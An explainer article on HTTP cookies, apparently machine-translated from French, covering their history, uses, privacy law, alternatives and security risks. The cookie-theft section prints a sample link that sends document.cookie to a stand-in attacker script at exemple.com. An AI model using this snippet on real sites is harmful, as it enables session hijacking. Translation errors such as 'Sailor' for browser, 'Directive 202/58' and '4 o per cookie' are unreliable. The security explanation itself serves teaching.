Internet Cookie: What is it? Definition, Origins, Types and Privacy

Un cookie or web cookie ( cookie, abbreviated as witness in Quebec) is defined by the HTTP communication protocol as being a sequence of information sent by an HTTP server to an HTTP client, which the latter returns each time the same HTTP server is queried under certain conditions.

The cookie is the equivalent of a small text file stored on the terminal of the Internet user. Existing for more than 20 years, they allow website developers to store user data in order to facilitate their navigation and allow certain functionalities. Cookies have always been more or less controversial because they contain residual personal information that can potentially be exploited by third parties.

It is sent as an HTTP header by the web server to the web browser which returns it unchanged each time it accesses the server. A cookie can be used to an authentication, a session (state maintenance), and for store specific information about the user, such as site preferences or the contents of an electronic shopping cart. The term cookie is derived from magic cookie, a well-known concept in UNIX computing, which inspired the idea and name of browser cookies. A few alternatives to cookies exist, each with their own uses, advantages and disadvantages.

Being simple text files, cookies are not executable. They are not neither spyware nor viruses, although cookies from some sites are detected by many anti-virus software because they allow users to be tracked when they visit multiple sites. 

Most modern browsers allow users to decide whether to accept or reject cookies. Users can also choose how long cookies are stored. However, the complete rejection of cookies makes some sites unusable. For example, store shopping carts or sites that require login using credentials (username and password).

History

The term cookie derives from the English term magic cookie, which is a packet of data that a program receives and returns unchanged. Cookies were already used in IT when Lou Montulli had the idea to use them in web communications in June 1994. At that time, he was employed by Netscape Communications, which had developed an e-commerce application for a client. Cookies gave a solution to the problem of the reliability of a store's virtual shopping cart implementation.

John Giannandrea and Lou Montulli wrote Netscape's first cookie specification that same year. Version 0.9 beta of Mosaic Netscape, released on October 13, 1994, integrated cookie technology (see post). The first (non-experimental) use of cookies was to determine whether visitors to the Netscape website had visited the site before. Montulli filed a patent application for cookie technology in 1995, and US patent 5774670 was granted. granted in 1998.

After being implemented in Netscape 0.9 beta in 1994, cookies were integrated into Internet Explorer 2, released in October 1995.

The introduction of cookies has not yet been widely known to the public. In particular, cookies were accepted by default in browser settings, and users were not informed of their presence. Some people were aware of the existence of cookies around the first quarter of 1995, but the general public only took to their existence after the Financial Times published an article on February 12, 1996. In the same year, cookies received a lot of media attention because of possible privacy intrusions. The subject of cookies was discussed in two consultations of the American Federal Trade Commission in 1996 and 1997.

The development of the official cookie specification was already underway. The first discussions of the official specification took place in April 1995 on the www-talk mailing list. A special IETF working group was formed. Two alternative proposals for introducing state to HTTP transactions were proposed by Brian Behlendorf and David Kristol respectively, but the group, led by Kristol himself, decided to use Netscape's specification as a starting point. In February 1996, the working group determined that third party cookies were a significant threat to privacy. The specification produced by the group was eventually published as RFC 2109.

From the end of 2014, we see a banner about cookies on many sites. There is at least one browser extension that allows the banner not displayed.

Types of Cookies and Uses

Session management

Cookies can be used to maintain user data during navigation, but also across multiple visits. Cookies were introduced to provide a means of implementing electronic shopping carts, a virtual device in which the user can accumulate the items he wants to buy while browsing the site.

These days, apps like shopping carts instead store the list of items in a database on a server, which is preferable; than saving them in the cookie itself. The web server sends a cookie containing a unique session ID. The web browser then returns this session ID on each subsequent request and the items in the basket are saved and associated with this same unique session ID.

Frequent use of cookies is useful for logging into a site using credentials. In short, the web server first sends a cookie containing a unique session ID. Then users provide their credentials (usually a username and password). The web application then authenticates the session and allows the user to access the service.

Personalization

Cookies can be used to remember information about the user of a site, in order to show him appropriate content in the future. For example, a web server can send a cookie containing the last username used to log in to that website, so that username can be pre-populated on future visits.

Many websites use cookies for personalization based on user preferences. Users select their preferences in a form and submit these to the server. The server encodes the preferences in a cookie and sends it back to the browser. Subsequently, each time the user accesses a page of this site, the browser returns the cookie and therefore the list of preferences; the server can then customize the page according to the user's preferences. For example, the Wikipedia website allows its users to choose the skin of the site they prefer. The Google search engine allows its users (even if they are not registered) to choose the number of results they want to see on each results page.

Tracking

Tracking cookies are used to track the browsing habits of internet users. This can also be done in part by using the IP address of the computer making a request for a page or by using the 'referrer' HTTP header that the client sends with every request, but cookies allow for greater precision. This can be done as in the following example:

1. If the user calls up a page on a site, and the request does not contain a cookie, the server assumes that this is the first page visited by the user. The server then creates a random string and sends it to the browser along with the requested page.
2. From this moment, the cookie will be automatically sent by the browser each time a new page of the site is called. The server will send the page as usual, but will also log the URL of the page called, the date, time of the request and the cookie in a log file.

By looking at the log file, it is then possible to see which pages the user has visited and in what order. For example, if the file contains a few requests made using the id=abc cookie, this may establish that all these requests come from the same user. The URL requested, the date and time associated with the requests allow the user's browsing to be tracked.

Third-party cookies and web beacons, explained below, additionally enable tracking across different sites. Single site tracking is generally used for statistical purposes. In contrast, tracking across different sites using third party cookies is generally used by advertising companies to produce anonymous user profiles (which are then used to determine which advertisements should be shown to the user as well as to send him emails corresponding to these advertisements — SPAM).

Tracking cookies are a risk of invasion of user privacy but they can be easily deleted. Most modern browsers include an option to automatically delete persistent cookies when closing the application.

Third party cookies

Images and other objects contained in a web page may reside on servers different from the one hosting the page. To display the page, the browser downloads all these objects. Most websites contain information from different sources. For example, if you type www.example.com into your browser, there will often be objects or advertisements on part of the page that come from different sources, i.e. from a different domain than www. .example.com. "First" party cookies are cookies that are set by the domain listed in the browser's address bar. Third-party cookies are set by one of the page objects that comes from a different domain.

By default, browsers like Mozilla Firefox, Microsoft Internet Explorer and Opera accept third-party cookies, but users can change the settings in browser options to block them. There is no security risk inherent in third-party cookies that enable web functionality, however they are also used to track users. from site to site.

Tools such as Ghostery available for all browsers including Google Chrome can block exchanges between third parties.

Implementation

Cookies are small pieces of data sent by the web server to the browser. The browser returns them unchanged to the server, introducing state (memory of past events) into the otherwise stateless HTTP transaction. Without cookies, each retrieval of a web page or a component of a web page is an isolated event, independent of other requests made to the same site. In addition to being able to be set by the web server, cookies can also be set by scripting languages ​​such as JavaScript, if supported and authorized by the browser.

The official cookie specification suggests that browsers should be able to save and resend a minimum number of cookies. Specifically, a browser should be able to store at least 300 cookies of four kilobytes each, and at least 20 cookies for a single server or domain.

According to section 3.1 of RFC 2965, cookie names are case-insensitive.

A cookie can specify the date of its expiry, in which case the cookie will be deleted on this date. If the cookie does not specify an expiry date, the cookie is deleted as soon as the user leaves his browser. Therefore, specifying an expiration date is a way to make the cookie survive through multiple sessions. For this reason, cookies with an expiration date are said to be persistent. An example application: a retail site might use persistent cookies to record the items that users have placed in their shopping cart (in reality, the cookie might refer to an entry saved in a database on the site of sale, and not in your computer). Through this means, if users leave their browser without making a purchase and return to it later, they will be able to find the items in the cart again. If these cookies did not give an expiration date, they would expire when the browser was closed, and the information on the contents of the basket would be lost.

Cookies can be limited in scope to a specific domain, subdomain or path on the server that created them.

Creation of a cookie

The transfer of web pages is done using the HyperText Transfer Protocol (HTTP). By ignoring cookies, browsers call a page from web servers by generally sending them a short text called HTTP request. For example, to access the page www.example.org/index.html, browsers connect to the server www.example.org and send a request that looks like this:

	GET /index.html HTTP/1.1Host: www.example.org
Sailor	→	server

The server responds by sending the requested page, preceded by a similar text, the whole being called HTTP response. This packet may contain lines instructing the browser to store cookies:

	HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value (HTML page)
Sailor	←	server

The server only sends the Set-Cookie line, if the server wants the browser to store a cookie. Set-Cookie is a request for the browser to store the name=value string and return it in all future requests to the server. If the browser supports cookies and cookies are enabled in the browser options, the cookie will be included in all subsequent requests made to the same server. For example, the browser calls the page www.example.org/news.html by sending the following request to the server www.example.org:

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
Sailor	→	server

This is a request for another page from the same server, and differs from the first above because it contains a string that the server previously sent to the browser. Thanks to this means, the server knows that this request is linked to the previous one. The server responds by sending the called page, and also by adding other cookies to it.

The value of the cookie can be changed by the server by sending a new line Set-Cookie: name=new_value in response to the called page. The browser then replaces the old value with the new one.

The Set-Cookie line is usually created by a CGI program or other scripting language, not by the HTTP server. The HTTP server (example: Apache) will only transmit the result of the program (a document preceded by the header containing the cookies) to the browser.

Cookies can also be set by JavaScript or other similar languages ​​running in the browser, i.e. on the client side rather than the server side. In JavaScript, the document.cookie object is used for this purpose. For example, the statement document.cookie = "temperature=20" creates a cookie named "temperature" and with a value of 20.

Attributes of a cookie

In addition to the name/value pair, a cookie can also contain an expiry date, a path, a domain name and the type of connection intended, i.e. normal or encrypted. RFC 2965 also defines that cookies must have a mandatory version number, but this is generally omitted. These data parts follow the name=new_value pair and are separated by semicolons. For example, a cookie can be created by the server by sending a Set-Cookie line: name=new_value; expires=date; path=/; domain=.example.org.

Expiration of a cookie

Cookies expire and are then not sent by the browser to the server in the following situations:

• When the browser is closed, if the cookie is not persistent.
• When the cookie expiration date has passed.
• When the cookie expiration date is changed (by the server or the script) to a date in the past.
• When the browser deletes the cookie at the request of the user.

The third situation allows servers or scripts to explicitly delete a cookie. Note that it is possible with the Google Chrome web browser to know the expiration date of a particular cookie by accessing the content settings. A cookie saved on a computer may very well remain there for several decades if no procedure is taken to erase it.

Stereotypes

Since their introduction on the Internet, many ideas about cookies have circulated on the Internet and in the media. In 1998, CIAC, a United States Department of Energy computer incident monitoring team, determined that cookie security vulnerabilities were "essentially non-existent" and explained that "information on the the origin of your visits and the details of the web pages you have visited already exist in the log files of the web servers”. In 2005, Jupiter Research published the results of a study, in which a significant percentage of respondents considered the following statements:

• Cookies are like virus, they infect users' hard drives.
• Cookies generate pop-up.
• Cookies are used to send spam.
• Cookies are used only for advertising.

Cookies cannot erase or read information from the user's computer. However, cookies make it possible to detect the web pages visited by a user on a given site or set of sites. This information can be collected in a user profile that can be used or resold to third parties, which can pose serious privacy issues. Some profiles are anonymous, in the sense that they contain no personal information, yet even such profiles can be questionable.

According to the same study, a large percentage of Internet users do not know how to delete cookies. One of the reasons people don't trust cookies is that some sites have abused the personally identifying aspect of cookies and shared this information with other sources. A large percentage of targeted advertising and unsolicited email, considered spam, comes from information gleaned from tracking cookies.

Browser settings

Most browsers support cookies and allow the user to disable them. The most common options are:

• Enable or disable cookies completely, so that they are constantly accepted or blocked.
• Allow the user to see the active cookies in a given page, by entering javascript: alert(document.cookie) in the address bar of the browser. Some browsers incorporate a cookie manager for the user who can view and selectively delete cookies currently stored by the browser.

Most browsers also allow full deletion of personal data which includes cookies. Additional modules to control cookie permissions also exist.

Privacy and Third-Party Cookies

In this fictitious example, an advertising company has placed banners on two websites. By hosting the banners on its servers and using third party cookies, the advertising company is able to track the user's navigation through these two sites.

Cookies have important implications for the privacy and anonymity of web users. Although cookies are only sent back to the server that set them or to a server belonging to the same Internet domain, a web page may however contain images or other components stored on servers belonging to other domains. The cookies that are set during the recovery of these external components are called third party cookies. This includes cookies from unwanted pop-up windows.

Advertising companies use third party cookies to track users across the different sites they visit. In particular, an advertising company can track a user across all pages where it has placed advertising images or a tracking pixel. Knowledge of the pages visited by the user allows the advertising company to target the advertising preferences of the user.

The ability to build a user profile is considered by some to be a privacy invasion, especially when tracking is done across different domains using third party cookies. For this reason, some countries have cookie legislation.

The United States government implemented strict rules on the placement of cookies in 2000, after it was revealed that the White House Drug Policy Office was using cookies to track the computers of users viewing online drug advertisements. In 2002, privacy activist Daniel Brandt discovered that the CIA left persistent cookies on computers that had visited its websites. Once informed of this breach, the CIA declared that these cookies were not intentionally sent and ceased setting them. On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had left two persistent cookies on visitors' computers because of a software update. After being notified, the NSA immediately disabled cookies.

In the United Kingdom, the Cookie law “, entered into force on May 25, 2012, obliges the sites to declare their intentions, thus allowing the users to choose if they want to leave traces or not of their passage on Internet. They can thus be protected from advertising targeting. However, according to The Guardian, the consent of Internet users is not necessarily explicit; changes have been made to the terms of user consent, making it thus implied.

Directive 2002/58 on privacy

Directive 202/58 privacy and electronic communications, contains rules on the use of cookies. In particular, article 5, paragraph 3 of this directive requires that the storage of data (such as cookies) in the user's computer can only be done if:

• the user is informed of how the data is used;
• the user is given the option of refusing this storage operation. However, this article also states that the storage of data for technical reasons is exempt from this law.

Due to be implemented from October 2003, the directive was however only very imperfectly put into practice according to a report of December 2004, which also pointed out that certain Member States (Slovakia, Latvia, Greece, Belgium and Luxembourg) had not yet transposed the directive into domestic law.

According to the opinion of the G29 in 2010, this directive, which notably conditions the use of cookies for behavioral advertising purposes, on the explicit consent of the Internet user remains very poorly applied. In fact, most sites do so in a way that does not comply with the directive, by limiting themselves to a simple "banner" informing of the use of "cookies" without giving information on the uses, without differentiating between "technical" cookies. "tracking" cookies, nor to offer a real choice to the user wishing to maintain technical cookies (such as shopping cart management cookies) and refuse "tracking" cookies. In fact, many sites do not function correctly if cookies are refused, which does not comply with directive 2002/58 or directive 95/46 (Protection of personal data).

Directive 2009/136 / CE

This material has been updated by Directive 2009/136/EC dated November 25, 2009 which states that the "storage of information, or obtaining access to information already stored, in the terminal equipment of a subscriber or user is permitted only on condition that the subscriber or user has given his consent, after having received, in compliance with Directive 95/46/EC, clear and complete information, between others on the purposes of the processing”. The new directive therefore strengthens the obligations prior to placing cookies on the Internet user's computer.

In the preliminary considerations of the directive, the European legislator specifies however: "Where technically possible and effective, in accordance with the relevant provisions of Directive 95/46/EC, the consent of the user with regard to the processing may be expressed through the use of the appropriate settings of a browser or other application”. But in fact, no browser to date makes it possible to dissociate the essential technical cookies from the optional ones which should be left to the user's choice.

This new directive was transposed by Belgian MPs in July 2012. A 2014 study shows that even MPs struggle to apply the constraints of the directive.

P3P

The P3P specification includes the ability for a server to state a privacy policy, which defines what kind of information it collects and for what purpose. These policies include (but are not limited to) the use of information collected using cookies. According to the definitions of P3P, a browser can accept or reject cookies by comparing the privacy policies with the user's preferences or by asking the user, presenting the privacy policy privacy statement declared by the server.

Many browsers, including Apple Safari and Microsoft Internet Explorer versions 6 and 7, support P3P which allows the browser to determine whether to accept third party cookie storage. The Opera browser allows users to refuse third-party cookies and to create a global and specific security profile for Internet domains. Mozilla Firefox version 2 dropped P3P support but reinstated it in version 3.

Third-party cookies can be blocked by most browsers to increase privacy and reduce ad tracking, without negatively affecting the user's web experience. Many advertising agencies offer an option opt out to targeted advertising, by setting up a generic cookie in the browser which deactivates this targeting, but such a solution is not practically effective, when it is respected, because this generic cookie is erased as soon as the user deletes these cookies which cancels the opt out decision.

Disadvantages of cookies

In addition to privacy issues, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can slow down site performance when in large numbers, they can be used for security attacks, and they conflict with the representative state transfer, architectural style of the software.

Imprecise identification

If more than one browser is used on a computer, in each of them there is always a separate storage unit for cookies. Cookies therefore do not identify a person, but the combination of a user account, a computer, and a web browser. Thus, anyone can use these accounts, computers, or browsers that have the panoply of cookies. Similarly, cookies do not differentiate between multiple users who share the same user account, computer, and browser, such as in "internet cafes" or any place giving free access to computer resources.

But in practice this statement turns out to be fallacious in the majority of cases because today a "personal" computer (or a smartphone, or tablet, which is worse) is used mainly by a single individual. This amounts to targeting a specific person and through the volume of information collected arrive at personalized targeting even if the person is not “namely” identified.

Theft of cookies

A cookie can be stolen by another computer on the network.

During normal operation, cookies are sent back between the server (or a group of servers in the same domain) and the user's computer browser. Since cookies can contain sensitive information (username, a password used for authentication, etc.), their values ​​should not be accessible to other computers. Cookie theft is an act of interception of cookies by an unauthorized third party.

Cookies can be stolen via a packet sniffer in an attack called session hijacking. Traffic on the net can be intercepted and read by computers other than those sending and receiving (especially on the unencrypted public Wi-Fi space). This traffic includes cookies sent over sessions using the plain HTTP protocol. When network traffic is not encrypted, malicious users can thus read the communications of other users on the network using "packet sniffers".

This problem can be overcome by encrypting the connection between the user's computer and the server using the HTTPS protocol. A server can specify a secure flag while setting a cookie; the browser will only send it over a secure line, such as an SSL connection.

However many sites, although using HTTPS encrypted communication for user authentication (i.e. the login page), later send session cookies and other data as normal, through unencrypted HTTP connections for efficiency reasons. Attackers can thus intercept other users' cookies and impersonate them on appropriate sites or use them in cookie attacks.

Scripting in the site: a cookie that should only be exchanged between the server and the client is sent to another third party.

Another way to steal cookies is to script sites and have the browser itself send cookies to malicious servers that never receive them. Modern browsers allow execution of sought-after parts of code from the server. If cookies are accessed during runtime, their values ​​may be communicated in some form to servers that should not access them. Encrypting cookies before they are sent over the network does not help thwart the attack.

This type of site scripting is typically employed by attackers on sites that allow users to post HTML content. By integrating a part of compatible code in the HTML contribution, an attacker can receive cookies from other users. Knowledge of these cookies can be used by connecting to the same site using the stolen cookies, thus being recognized as the user whose cookies were stolen.

One way to prevent such attacks is to use the HttpOnly flag; it is an option, introduced since version 6 of Internet Explorer in PHP since version 5.2.0 which is planned to make the cookie inaccessible to the client close to the script. However, web developers should take this into account in their site development so that they are immune to scripting in the site.

Another security threat used is demand fabrication in the site.

The official technical specification allows cookies to be sent back only to servers in the domain from which they originated. However, the value of cookies can be sent to other servers using means other than cookie headers.

In particular, scripting languages ​​like JavaScript are generally allowed to access cookie values ​​and are capable of sending arbitrary values ​​to any server on the Internet. This scripting capability is used from websites allowing users to post HTML content for other users to view.

For example, an attacker operating on the example.com domain might post a comment containing the following link pointing to a popular blog that they otherwise do not control:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

When another user clicks on this link, the browser executes the onclick attribute part of the code, so it replaces the document.cookie string with the list of user cookies that are active for this page. Therefore, this list of cookies is sent to the example.com server, and the attacker is therefore able to collect the cookies of this user.

This type of attack is difficult to detect on the user side because the script comes from the same domain that set the cookie, and the operation to send the values ​​appears to be authorized by that domain. It is considered that it is the responsibility of the administrators operating this type of site to put in place restrictions preventing the publication of malicious code.

Cookies are not directly visible to client-side programs like JavaScript if they were sent with the HttpOnly flag. From the server's point of view, the only difference is that in the line of the Set-Cookie header there is added a new field containing the string HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

When the browser receives such a cookie, it is supposed to use it normally in the following HTTP exchange, but without making it visible to scripts executed on the client side. The HttpOnly flag is not part of any official technical specification, and is not implemented in all browsers. Note that there is currently no way to prevent the reading and writing of session cookies by the XMLHTTPRequest method.

Modification of content: an attacker sends an invalid cookie to a server, possibly made from a valid cookie sent by the server.

Changing cookies

As soon as the cookies need to be stored and returned unchanged to the server, an attacker can modify the value of the cookies before they are sent back to the server. For example, if a cookie contains the total value the user has to pay for the items placed in the store's shopping cart, changing this value exposes the server to the risk of charging the attacker less than the starting price. The process of modifying the value of cookies is called cookie poisoning and can be used after cookie theft to make the attack persistent.

In the cookie override method, the attacker exploits a browser glitch to send an invalid cookie to the server.

Most websites, however, only store a session ID — a randomly generated unique number used to identify the session user — in the cookie itself, while all other information is stored on the server. In this case, this problem is largely solved.

Cookie handling between websites

Each site is expected to have its own cookies, so one site should not be able to modify or create cookies associated with another site. A web browser security flaw can allow malicious sites to break this rule. The exploitation of such a flaw is commonly referred to as cross-site cooking. The purpose of such attacks may be session ID theft.

Users should use the latest versions of web browsers in which these vulnerabilities are virtually eliminated.

Conflicting state between client and server

The use of cookies may generate a contradiction between the state of the client and the state stored in the cookie. If the user acquires a cookie and clicks on the "Back" button of the browser, the state of the browser is generally not the same as before this acquisition. For example, if the basket of an online store is created using cookies, the contents of the basket cannot change when the user returns to the browser history: if the user presses a button to add a article in his basket and clicks on the "Return" button, the article remains in this one. This may not be the intention of the user, who certainly wants to cancel the addition of the article. This can lead to unreliability, confusion, and bugs. So web developers should be aware of this problem and implement measures to handle situations like this.

Cookie expiry

Persistent cookies have been criticized by privacy security experts for not being set to expire soon enough, thereby allowing websites to track users and build their profile over time. This aspect of cookies is also part of the session hijacking problem, because a stolen persistent cookie can be used to impersonate a user for a considerable period of time.

Read also : GAFAM: who are they? Why are they (sometimes) so scary?

Alternatives to cookies

Some operations that can be performed using cookies can also be performed using other mechanisms that bypass cookies or recreate deleted cookies, which creates privacy issues in the same way (or sometimes worse because then invisible) than cookies..

IP adress

Users can be tracked with the IP address of the computer calling the page. This technique has been available since the introduction of the World Wide Web, as pages are downloaded the server requests the IP address of the computer running the browser or proxy, if none is used. The server can track this information whether or not there are cookies in use. However, these addresses are typically less reliable in identifying a user than cookies because computers and proxies may be shared by multiple users, and the same computer may receive a different IP address on each work session (such as c often the case for telephone connections).

Tracking by IP addresses can be reliable in some situations, such as broadband connections that maintain the same IP address for a long time, as long as power is on.

Some systems like Tor are designed to maintain the anonymity of the Internet and make tracking by IP address impossible or impractical.

URL

A more precise technique is based on embedding information in URLs. The query string part of the URL is one technique that is typically used for this purpose, but other parts can be used as well. Both the Java serverlet and the PHP session mechanisms use this method if cookies are not enabled.

This method involves the web server appending string requests to the links of the web page that carries it when it is sent to the browser. When the user follows a link, the browser returns the attached query string to the server.

Query strings used for this purpose and cookies are very similar, both being information arbitrarily chosen by the server and returned by the browser. However, there are some differences: when a URL containing a query string is reused, the same information is sent to the server. For example, if a user's preferences are encoded in a query string of a URL and the user sends that URL to another user via email, that user will also be able to use those preferences.

On the other hand, when a user accesses the same page twice, there is no guarantee that the same query string will be used both times. For example, if a user lands on a page from an internal site page the first time and lands on the same page from an external page the second time, the query string relative to the site page is typically different, while the cookies are the same.

Other disadvantages of query strings are related to security: keeping data that identifies a session in query strings enables or simplifies session fixation attacks, identifier reference attacks, and other exploits. Passing session IDs as HTTP cookies is more secure.

Hidden form field

One form of session tracking, used by ASP.NET, is to use web forms with hidden fields. This technique is very similar to using URL query strings to carry information and has the same advantages and disadvantages; and if the form is processed with the HTTP GET method, the fields actually become part of the URL of the browser that will send it when submitting the form. But most forms are processed with HTTP POST, which causes the form information, including hidden fields, to be added as an additional input that is neither part of the URL nor a cookie.

This approach has two advantages from a tracking perspective: first, tracking the information placed in the HTML source code and POST input rather than the URL will allow the average user to avoid this tracking; second, the session information is not copied when the user copies the URL (to save the page to disk or send it via email, for example).

window.name

All common web browsers can store quite a large amount of data (2MB to 32MB) via JavaScript using the DOM's window.name property. This data can be used instead of session cookies and is also used across domains. The technique can be coupled with JSON objects to store a complex set of client-side session variables.

The downside is that each separate window or tab will initially have an empty window.name; when browsing by tabs (opened by the user) this means that the tabs opened individually will not have a window name. Additionally window.name can be used to track visitors across different sites which can pose a privacy issue.

In some respects this can be more secure than cookies, due to the non-involvement of the server, thus making it invulnerable to the network attack of sniffer cookies. However, if special measures are taken to protect the data, it is vulnerable to further attacks, as the data is available through other sites opened in the same window.

HTTP authentication

The HTTP protocol includes the basic access authentication protocols and the access authentication digest, which allows access to a web page only when the user has given the username and password. okay pass. If the server requests a certificate to grant access to a web page, the browser requests it from the user and once obtained, the browser stores it and sends it in all subsequent HTTP requests. This information can be used to track the user.

Local shared object

If a browser includes the Adobe Flash Player plugin, the local shared objects can be used for the same purpose as cookies. They can be an attractive choice for web developers because:

• the default size limit for a local shared object is 100 KB;
• security checks are separate from user cookie checks (so local shared objects can be allowed when cookies are not).

This last point, which distinguishes the cookie management policy from that of Adobe's local shared objects raises questions concerning the management by the user of his privacy settings: he must be aware that his management of cookies has no impact on the management of local shared objects, and vice versa.

Another criticism of this system is that it can only be used through the Adobe Flash Player plugin which is proprietary and not a web standard.

Client-side persistence

Some web browsers support a script-based persistence mechanism, which allows the page to store information locally for later use. Internet Explorer, for example, supports persistent information in browser history, bookmarks, in a format stored in XML, or directly with a web page saved to disk. For Microsoft Internet Explorer 5, there is a user–data method available through DHTML behaviors.

The W3C introduced in HTML 5 a new JavaScript API for client-side data storage called Web storage and aimed to permanently replace cookies. It is similar to cookies but with greatly improved capacity and without storing information in the header of HTTP requests. The API allows two types of web storage: localstorage and sessionstorage, similar to persistent cookies and session cookies (except that session cookies expire when the browser is closed while session storage expire when the tab is closed), respectively. Web storage is supported by Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 and Opera 10.50.

A different mechanism normally relies on browser caching (in memory rather than refresh) using JavaScript programs in web pages. 

For example, a page can contain the tag . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

At this point, the program remains in cache memory and the visited page is not reloaded a second time. Consequently, if the program contains a global variable (for example var id = 3243242;), this identifier remains valid and can be exploited by other JavaScript code once the page is loaded again, or once a page linking the program is loaded. 

The major disadvantage of this method is that the JavaScript global variable must be static, meaning it cannot be changed or deleted like a cookie.

web browser fingerprint

A browser fingerprint is information collected about the configuration settings of a browser for identification purposes. These fingerprints can be used to fully or partially identify an Internet user or a device even when cookies are disabled.

Basic web browser configuration information has long been collected by website audience services for the purpose of accurately measuring human web traffic and detecting various forms of click fraud. With the help of client-side scripting languages, much more accurate information gathering is now possible.

Converting this information into a bit string produces a device fingerprint. In 2010, the Electronic Frontier Foundation (EFF) measured the entropy of a browser's fingerprint to be at least 18,1 bits, and that was before advances in canvas fingerprinting added 5,7 bits to that entropy.

Cookies in a nutshell

Cookies are small text files stored by the web browser on a website visitor's hard drive and which are used (among other things) to record information about the visitor or their journey through the site. The webmaster can thus recognize the habits of a visitor and personalize the presentation of his site for each visitor; cookies then make it possible to remember how many articles to display on the home page or even to retain the login credentials for any private party: when the visitor returns to the site, it is no longer necessary for him to type his name and password to be recognized, since they are automatically read in the cookie.

A cookie has a limited lifespan, set by the site designer. They can also expire at the end of the session on the site, which corresponds to the closing of the browser. Cookies are widely used to make life easier for visitors and present them with more relevant information. But special techniques make it possible to follow a visitor on several sites and thus to collect and cross-check very extensive information on his habits. This method has given the use of cookies a reputation as a surveillance technique that violates the privacy of visitors, which unfortunately corresponds to reality in many cases of use for non-technical reasons or not respectful of user expectations. .

In response to these legitimate fears, HTML 5 introduces a new JavaScript API for client-side data storage called Web storage, which is much more secure and with greater capacity, which aims to replace cookies.

Storage of cookies

With some browsers, a cookie is easily editable, a simple text editor like Notepad is enough to change its values ​​manually.

Cookies are saved differently depending on the browser:

• Microsoft Internet Explorer saves each cookie in a different file;
• Mozilla Firefox saves all its cookies in a single file;
• Opera saves all its cookies in a single file and encrypts them (impossible to modify them except in the software options);
• Apple Safari saves all its cookies in a single .plist extension file. Modification is possible but not very easy, unless you go through the software options.

Browsers are required to support minima :

• 300 simultaneous cookies;
• 4 o per cookie;
• 20 cookies per host or domain.